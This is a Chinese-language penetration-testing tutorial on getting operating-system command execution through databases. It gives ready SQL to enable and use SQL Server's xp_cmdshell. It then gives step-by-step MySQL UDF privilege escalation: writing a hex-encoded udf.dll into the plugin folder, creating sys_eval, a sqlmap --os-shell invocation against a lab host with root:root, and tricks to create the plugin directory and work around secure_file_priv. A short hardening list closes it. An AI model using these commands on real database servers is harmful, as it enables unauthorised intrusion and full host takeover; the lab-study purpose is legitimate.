数据库系统命令执行
字数 1118 2025-08-18 11:38:52
MySQL与SQL Server数据库命令执行技术详解
前言
在渗透测试中,数据库利用主要分为两种方式:
- SQL注入漏洞:配合网站绝对路径可直接获取shell
- 数据库弱口令:如phpmyadmin弱口令、数据库连接弱口令
传统方法是在DBA权限下配合网站绝对路径写shell,但绝对路径并非总能获取,导致经常出现登录数据库却无法获取shell的情况。
SQL Server系统命令执行
SQL Server执行系统命令相对简单,主要使用xp_cmdshell组件:
启用xp_cmdshell组件
exec sp_configure 'show advanced options', 1; reconfigure;
exec sp_configure 'xp_cmdshell', 1; reconfigure;
执行系统命令
exec master.dbo.xp_cmdshell 'whoami';
这也是为什么SQL Server注入点在使用sqlmap的os-shell时能直接返回命令行执行的原因。
MySQL系统命令执行
MySQL执行系统命令适用于直接连接数据库的情况,理论上sqlmap的sql-shell也可行,但实际利用中受SQL注入点类型、执行语句和语句长度限制。
UDF提权方式
实验环境:靶机IP 172.16.86.161,root/root
1. 基本信息收集
select @@version; -- 查看MySQL版本
select @@basedir; -- 查看MySQL安装路径
2. UDF.dll存放位置规则
- MySQL版本 > 5.1:必须放在MySQL安装目录的lib\plugin文件夹下
- MySQL版本 < 5.1:
- Windows 2000:C:\Winnt\udf.dll
- Windows 2003:C:\Windows\udf.dll
3. 获取UDF.dll文件
sqlmap自带udf.dll文件(位于data/udf目录),但经过异或编码无法直接使用,需使用sqlmap/extra/cloak目录下的cloak.py解码。
文件写入方法
方法一:INTO OUTFILE直接写入
- 使用Notepad++打开udf文件,复制内容进行16进制编码
- 执行SQL:
select 16进制编码 into outfile 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
- 创建sys_eval函数:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
- 执行系统命令:
select sys_eval('whoami');
方法二:表内容导出写入
- 创建表保存16进制内容:
set @my_udf = concat('', dll的16进制);
create table udf_data(data LONGBLOB);
- 插入内容:
insert into udf_data values("");
update udf_data set data = @my_udf;
- 导出到文件:
select data from udf_data into DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
- 创建函数并执行命令:
create function sys_eval returns string soname 'udf.dll';
select sys_eval('whoami');
- 使用后删除函数:
drop function sys_eval;
方法三:sqlmap自动写入
sqlmap.py -d "mysql://root:root@172.16.86.161:3306/mysql" --os-shell
常见问题与解决方案
-
plugin目录不存在:
- 需手动创建,可使用NTFS数据流创建(成功率较低):
select 'test' into dumpfile 'D:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -
secure-file-priv限制:
- 高版本MySQL有此参数限制
- 解决方案:
- 修改数据库my.ini配置:
secure_file_priv=""- 重启数据库服务
安全建议
- 数据库账户使用强密码
- 限制数据库远程访问
- 定期更新数据库软件
- 禁用不必要的存储过程和函数
- 配置适当的文件权限限制
总结
本文详细介绍了在SQL Server和MySQL数据库中执行系统命令的技术方法,特别是MySQL的UDF提权技术。理解这些技术有助于安全人员更好地防御数据库安全风险。